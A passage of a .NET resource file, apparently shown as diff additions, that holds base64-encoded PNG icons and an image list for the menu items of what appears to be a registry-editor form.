+cUdKWRcI2RQAAAAASUVORK5CYIIL</value></data><data name="modifyBinaryDataToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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</value></data><data name="stringValueToolStripMenuItem1.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAA0wAAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAIAAAACAIBgAAAHN6evQAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAAAdUlEQVRYR+2OQQqAMBAD9we+y6P/8qu+oV5CkZKlLsR6ycBcyqZJmJEr9valqMlhIaWo
+yWEhpajJYSGlqMkpByaU/ysHJqj/62zH2Z7ieR0e4AEe4AEe4AEe4AG/DBhLM3Guh5Uxca6HlTFx
+roeVMXFuXhBxAw7/zhA/arIMAAAAAElFTkSuQmCCCw==</value></data><data name="expandableStringValueToolStripMenuItem1.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAA1wQAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAZAAAAGQIBgAAAHDilVQAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAAEeUlEQVR4Xu2YQYpcZRhFS3CQoTOnjl1CJiGVMp2utEOX4Brch0twAYLzWJUERAIOHAo6
+EQQHUQSxNUqwfDe5pjvFeVrx8eS71d+BM8nkf9+5dOhk0TRN0zRN0zRN0zRN0zRNU4Lr957sKuvP
+vDpQhEr6M68OFKGS/syrA0WopD/z6kARKnnr1vaFy+Vme+PG9po//TihCJW8PIj9ZBjldX/+8UER
+KgmDDG4+Wix2r/mE44IiVJIHefbX14c+4bigCJWkMf52GOUDn3E8UIRK0hAXbv5crbbv+5TjgCKQ
+d9/d/S/++Nv5S67Pnu5W73wBYzx3udw+XS7vv+dz8qH4JMWbw/1B9Gfrsz92q9UjHEQOo/y+Wm1O
+fFI2FJ/cDzeXNIhcnz0ZRvkcB5HDKOc3b3563WflQvHJy9HmdGwQuT77dRjlMxxEDqP8sFzee9un
+ZULxycth5vSfBpGnd38eRnmIg9jvhn84vuXz8qD45H6Yufy3QeTp+qch/IP9IS65+Xr4SXnTJ2ZB
+8UkKM4eHDCJP14+H8Pf3hnjJL4eflDd8Zg4Un6Qoc3joIPLO+nsa4oWR/xlJ8UkKMoevMog8ufMt
+jnHh5mOfmgHFJynGHL7qIPL2yTcwxIU+NQOKT1KIOfwvg8jbJ1/hGNKnZkDxSYowh/uDHOrj819w
+DOlTM6D4JMWbQ4p9qDSG9KkZUHyS4s0hhT5UGkP61AwoPknx5pBCHyqNIX1qBhSfpHjVpDGkT82A
+4pMUoJo0hvSpGVB8kgJUk8aQPjUDik9SgGrSGNKnZkDxSQpQTRpD+tQMKD5JAUj67WeK9MaYNIb0
+qRlQfJICkBR1ivTGmDSG9KkZUHySApAUdYr0xpg0hvSpGVB8kgKQFHWK9MaYNIb0qRlQfJICVJPG
+kD41A4pPUoBq0hjSp2ZA8UkKUE0aQ/rUDCg+SQGqSWNIn5oBxScpQDVpDOlTM6D4JAWoJo0hfWoG
+FJ+kANWkMaRPzYDikxSApH9LTJHeGJPGkD41A4pPUgCSok6R3hiTxpA+NQOKT1IAkqJOkd4Yk8aQ
+PjUDik9SAJKiTpHeGJPGkD41A4pPUoBq0hjSp2ZA8UkKUE0aQ/rUDCg+SQGqSWNIn5oBxScpQDVp
+DOlTM6D4JAWoJo0hfWoGFJ+kANWkMaRPzYDikxSApF9dp0hvjEljSJ+aAcUnKQBJUadIb4xJY0if
+mgHFJykASVGnSG+MSWNIn5oBxScpAElRp0hvjEljSJ+aAcUnKUA1aQzpUzOg+CQFqCaNIX1qBhSf
+pADVpDGkT82A4pMUoJo0hvSpGVB8kgJUk8aQPjUDik9SgGrSGNKnZkDxSQpQTRpD+tQMKD5JAapJ
+Y0ifmgHFJylANWkM6VMzoPgkBagmjSF9agYUn6QA1aQxpE/NgOKnSmNIn5oBHZYqjSF9agZ0WKo0
+hvSpGdBhqdIY0qdmQIelSmNIn5oBHZYqjSF9agZ0WKo+KRs6LFWflA0dlqpPyoYOS9UnNU3TNE3T
+NE3TNE3TNBVYLP4CGSb7xYvb7sEAAAAASUVORK5CYIIL</value></data><data name="newToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAATAMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAAC7klEQVRoQ+2ZXUiTURjHR2BgipqaumIJXhiUFTHrssbW1Cb2zrUpfmB200VXdRXMYDA3
+altEmggrRctlkhdBRddBkiARMg2F9UlqVxW1i4KKp3f0BEFP593OeT27aD/43Y3n+f/HOXtfmCFH
+jhz/Aa3voNm5BiuqIOr+kVczOFYeyhq8pcLwuPNcXH4JKgivu/oWfpUYfT2L49cfKgivqQLSS1BB
+eK3rW5RfggrC627vovwSVBBeUwWkl6CC8LrH+0x+CSoIr3vVAtJLUEF4NQcTmiUOjL/R9zlBBeG1
+cTYpvwQVRIa4XhxquAxxvTjUcBnienGo4TLE9eJQw2WI68WhhssQ14tDDZchrheHGi5DXC8ONVyG
+uF4cargMcb041HAZ4npxqOEyxPXiUMP1VFn9BgefPoa6B4NQPXkaKke6oOJqB5RecS6XDBydLBpo
+aTP4PBsxTuZQS/Xy0Pwc1EyfAeNYB1SNtkPFtTbYEnVD+bALyoacsHlQgZLLLVB8qfl5ccThwkiZ
+QS0WVVn9AfWPbsG2iW7Yer0rnQJQdNEBhaHGiMHn24DR0oMKIGr9zBSYbvZkXiDcBAXnG0IYLT2o
+ACJa4k9g+1SvSAHIDzY4MZ42VAheUxe29t5ZZoEPX5Pw/stnZoFNwcMv077YVBBeLQtzUH37BLPA
+b9gF7JAfsHowIhsqCK/7Hkb1K+C3xjAiGyoIrzvue/Ur0G9bxohsqCC81tw59VeBj+qZ1yJ1J4gC
+SYzIhgrCK1UgdWm1oAtYP2FENlQQXnU9Qn7rEkZkQwXhVddL3G+bwIhs9PyLyRLX8WfUb3VjRDbq
+4iN6lVBWvkPtXY0HmXreNR9kAfsLoTdUEaqne12sAmm9SgRsCo7LDqap4xH+AvYLOCaLqK/EplhP
+ONMCBaGmUMav0+uJ8Ua30zjemdAu4EgUhh3ZPTb/whw9mVc11umpHG2PqQWWyqPHkmXDrcnSIWVJ
+LRBTv323IWrOw4//gcHwE5GqaHClfyHtAAAAAElFTkSuQmCCCw==</value></data><data name="deleteToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAA6gMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAADjElEQVRoQ+2VO1NTURRGgwQVECHyDAqISkBHK8BCG7GSsQAbrbTSShttnIASUBAIIE+R
+ACKghf4BLcERf4A2iCGEkDevEMSKGbfn3LPlhnCRJPfcFE7WzBq6fCubm0QVI0aM0Cmb8heXTfq/
+ln/ygxLS16YbOMcfMjIRPKqAEzjHl/OTvgqJMUUsnfBdwll+lE+uTUqNKSS//8I1N1ytdoGDCNG0
+ygV28rcSMyIHX0hyJAouYEbkSLxoVMUMeZx5u6Enwuk3PwVLxqnrUDzG1I36BYte++HUyJrgyVdU
+H5wYZhYOrQoeH6SuQIGJmT+wLJj3kroEx/qZR1949TgvHxJ8LzhcN8rCaTTf8EXB3F7vXZyXT8n4
+xi3x2gqH91G9kNPnvYnz8tGNr1dHI1zb6xXM6fFCVrenCufloxvxXVYinF17e3hOjweyu6nuCpyX
+T/HwWpmccDE6lHAPZHW5IaPbVYrz8ikc8+vCCWfXjiycmtlJ3kCXvQjn5ZNvWtRKhYvR/MIzO12Q
+8dwFmUZvDs7LJ3vcnSxeW9lwanqHE7QmZxLO86FgcGUzGuFH2qmOTZzlR4FpeZVGi+EsmoVv/w4X
+wz17hqd3BIY7QdPmAI3RsYKz/MgbWJqPLHz3awdcnIUT04x2qhVn+ZHXv/QtlPBQHpN/hENqqx0O
+t9i+4iw/SPgXqfBwnu+9wlNbF0i84BTO8iO3d/FjpB/MMMIhpdkGh57ZPuAsP7Q9nvdKh2M8JDXN
+v8NZfpDwId7hKc1bFxdMbpoXTGy0DuIsP7K73B1yw8VrS4cnNVKtkPh0rh1n+UGC60MNTzOycHbt
+cMKZB5/MGXCWHxmdrgfB4Swaf3z4hAvur7fcx1l+ZHQ470j+anIMP9BAtUCCwXIbZ/mhaXfcCHxM
+WHjgB1N+OLm8YILBfB1n+aFps1dKh7NoFm4LCGfRLNwaEM6iWXhgNHUW1HWzEG8wX8FZfmiMzoty
+wne/9uxWuLrODPGPzaCuNV/AWX5oWhbOhRO+92OyM5y679EPUOlnz+IsP9La5gqkwsVo+eHUuFry
+Bh5a8nGWH6nNNo14bWXC42pnQFVDNFjTcJYjBlArHi74/bfKMKHGVb4kN1l/KRe+5QbO8Sexcc4t
+J5xFk2d8Z7SofsaFc/wh3+FToYSL0WGE/1U/8xnn+JPYYCkn0dPB4ezaMsOZ06qa6TKcixEjxv+P
+SvUHcjIlcbhSyrsAAAAASUVORK5CYIIL</value></data><data name="imageRegistryDirectoryList.ImageStream" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAu
+MC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAA
+ACZTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkD
+AAAADwMAAADMBwAAAk1TRnQBSQFMAwEBAAF4AQYBeAEGARABAAEQAQAE/wEJARAI/wFCAU0BNgEE
+BgABNgEEAgABKAMAAUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQAC
+gAIAA8ABAAHAAdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMp
+AQADVQEAA00BAANCAQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB
+1gLnAQABkAGpAa0CAAH/ATMDAAFmAwABmQMAAcwCAAEzAwACMwIAATMBZgIAATMBmQIAATMBzAIA
+ATMB/wIAAWYDAAFmATMCAAJmAgABZgGZAgABZgHMAgABZgH/AgABmQMAAZkBMwIAAZkBZgIAApkC
+AAGZAcwCAAGZAf8CAAHMAwABzAEzAgABzAFmAgABzAGZAgACzAIAAcwB/wIAAf8BZgIAAf8BmQIA
+Af8BzAEAATMB/wIAAf8BAAEzAQABMwEAAWYBAAEzAQABmQEAATMBAAHMAQABMwEAAf8BAAH/ATMC
+AAMzAQACMwFmAQACMwGZAQACMwHMAQACMwH/AQABMwFmAgABMwFmATMBAAEzAmYBAAEzAWYBmQEA
+ATMBZgHMAQABMwFmAf8BAAEzAZkCAAEzAZkBMwEAATMBmQFmAQABMwKZAQABMwGZAcwBAAEzAZkB
+/wEAATMBzAIAATMBzAEzAQABMwHMAWYBAAEzAcwBmQEAATMCzAEAATMBzAH/AQABMwH/ATMBAAEz
+Af8BZgEAATMB/wGZAQABMwH/AcwBAAEzAv8BAAFmAwABZgEAATMBAAFmAQABZgEAAWYBAAGZAQAB
+ZgEAAcwBAAFmAQAB/wEAAWYBMwIAAWYCMwEAAWYBMwFmAQABZgEzAZkBAAFmATMBzAEAAWYBMwH/
+AQACZgIAAmYBMwEAA2YBAAJmAZkBAAJmAcwBAAFmAZkCAAFmAZkBMwEAAWYBmQFmAQABZgKZAQAB
+ZgGZAcwBAAFmAZkB/wEAAWYBzAIAAWYBzAEzAQABZgHMAZkBAAFmAswBAAFmAcwB/wEAAWYB/wIA
+AWYB/wEzAQABZgH/AZkBAAFmAf8BzAEAAcwBAAH/AQAB/wEAAcwBAAKZAgABmQEzAZkBAAGZAQAB
+mQEAAZkBAAHMAQABmQMAAZkCMwEAAZkBAAFmAQABmQEzAcwBAAGZAQAB/wEAAZkBZgIAAZkBZgEz
+AQABmQEzAWYBAAGZAWYBmQEAAZkBZgHMAQABmQEzAf8BAAKZATMBAAKZAWYBAAOZAQACmQHMAQAC
+mQH/AQABmQHMAgABmQHMATMBAAFmAcwBZgEAAZkBzAGZAQABmQLMAQABmQHMAf8BAAGZAf8CAAGZ
+Af8BMwEAAZkBzAFmAQABmQH/AZkBAAGZAf8BzAEAAZkC/wEAAcwDAAGZAQABMwEAAcwBAAFmAQAB
+zAEAAZkBAAHMAQABzAEAAZkBMwIAAcwCMwEAAcwBMwFmAQABzAEzAZkBAAHMATMBzAEAAcwBMwH/
+AQABzAFmAgABzAFmATMBAAGZAmYBAAHMAWYBmQEAAcwBZgHMAQABmQFmAf8BAAHMAZkCAAHMAZkB
+MwEAAcwBmQFmAQABzAKZAQABzAGZAcwBAAHMAZkB/wEAAswCAALMATMBAALMAWYBAALMAZkBAAPM
+AQACzAH/AQABzAH/AgABzAH/ATMBAAGZAf8BZgEAAcwB/wGZAQABzAH/AcwBAAHMAv8BAAHMAQAB
+MwEAAf8BAAFmAQAB/wEAAZkBAAHMATMCAAH/AjMBAAH/ATMBZgEAAf8BMwGZAQAB/wEzAcwBAAH/
+ATMB/wEAAf8BZgIAAf8BZgEzAQABzAJmAQAB/wFmAZkBAAH/AWYBzAEAAcwBZgH/AQAB/wGZAgAB
+/wGZATMBAAH/AZkBZgEAAf8CmQEAAf8BmQHMAQAB/wGZAf8BAAH/AcwCAAH/AcwBMwEAAf8BzAFm
+AQAB/wHMAZkBAAH/AswBAAH/AcwB/wEAAv8BMwEAAcwB/wFmAQAC/wGZAQAC/wHMAQACZgH/AQAB
+ZgH/AWYBAAFmAv8BAAH/AmYBAAH/AWYB/wEAAv8BZgEAASEBAAGlAQADXwEAA3cBAAOGAQADlgEA
+A8sBAAOyAQAD1wEAA90BAAPjAQAD6gEAA/EBAAP4AQAB8AH7Af8BAAGkAqABAAOAAwAB/wIAAf8D
+AAL/AQAB/wMAAf8BAAH/AQAC/wIAA/+CAAH/DPMB/zIAAdoB2QLTBdQEzgHmMgAC2QLTBdQEzgHm
+MgAC2QLTBdQEzgHmMgAC2QLTBdQEzgHmMgAC2QLTBdQEzgHmMgAC2QLTBdQEzgHmMgAC2QLTBdQE
+zgHmMgAC2QLTBdQEzgHVMgAC2QLTAdQBCQfdAf8yAAHaAdkC0wEJARkD3APWAd0zAAH/AvMB9LsA
+AUIBTQE+BwABPgMAASgDAAFAAwABEAMAAQEBAAEBBQABgBcAA/8BAAL/BgAC/wYAAYABAQYAAYAB
+AQYAAYABAQYAAYABAQYAAYABAQYAAYABAQYAAYABAQYAAYABAQYAAYABAQYAAYABAQYAAYABAwYA
+AYcB/wYAAv8GAAL/HAAL</value></data><data name="modifyToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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
+SUVORK5CYIIL</value></data><data name="renameToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAHAQAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAADvklEQVRoQ+2ZyU8TYQDFe1ZciCtSdmXfikj0P9CYiFw5iBrj2cSLiUcRxSK7RYSIYkXZ
+RCqlLFUJSqFKENDSmU4LpRRRAalnTZ7fDFMCMtq52E6Tecm7NG3y+007mfelimDJSN4FpflUwSTp
+uOnkmXD+5eCIy2QKN+edo8y5Z7HaAlvQSDAME+FwOOz08DsTkfgZVBJeeFKwpYZGRsynz/9akyA/
+J/6t0gsLb18N1neDBLkn+LdLK0uvFUqHbeINkYBQrUOmN+a88/bh3IJo/iObc/jVj5Oq/hV3Zt93
+ZPR8R7phGWn6JaR2LSFZt4ikzkUkdnxDQvtXxLd9xaGWLzjYvIDYJwuIefwZ0dp5RDXOI/KhGxEN
+bijvzyG83oWwey7sr53Fvhon9mqc2FM9g92V09hVMY3QEhrxN7swplfC0p+KwbGPsNlsm0rTNMPe
+2DyqcLKMnjmVcQV+Eyi1IaF4FX75lYKrpS8FA6OTLPD6zlit1r9feW+yXnrgN4EyG5LU+g3wGyUm
+QFEUW3HwbPwmUMEg+S/w3n7qTYF16v0g+fkoeTzf8YtAlR0pt7vx4R/wbMf1+7HyWiHuynvz3wWq
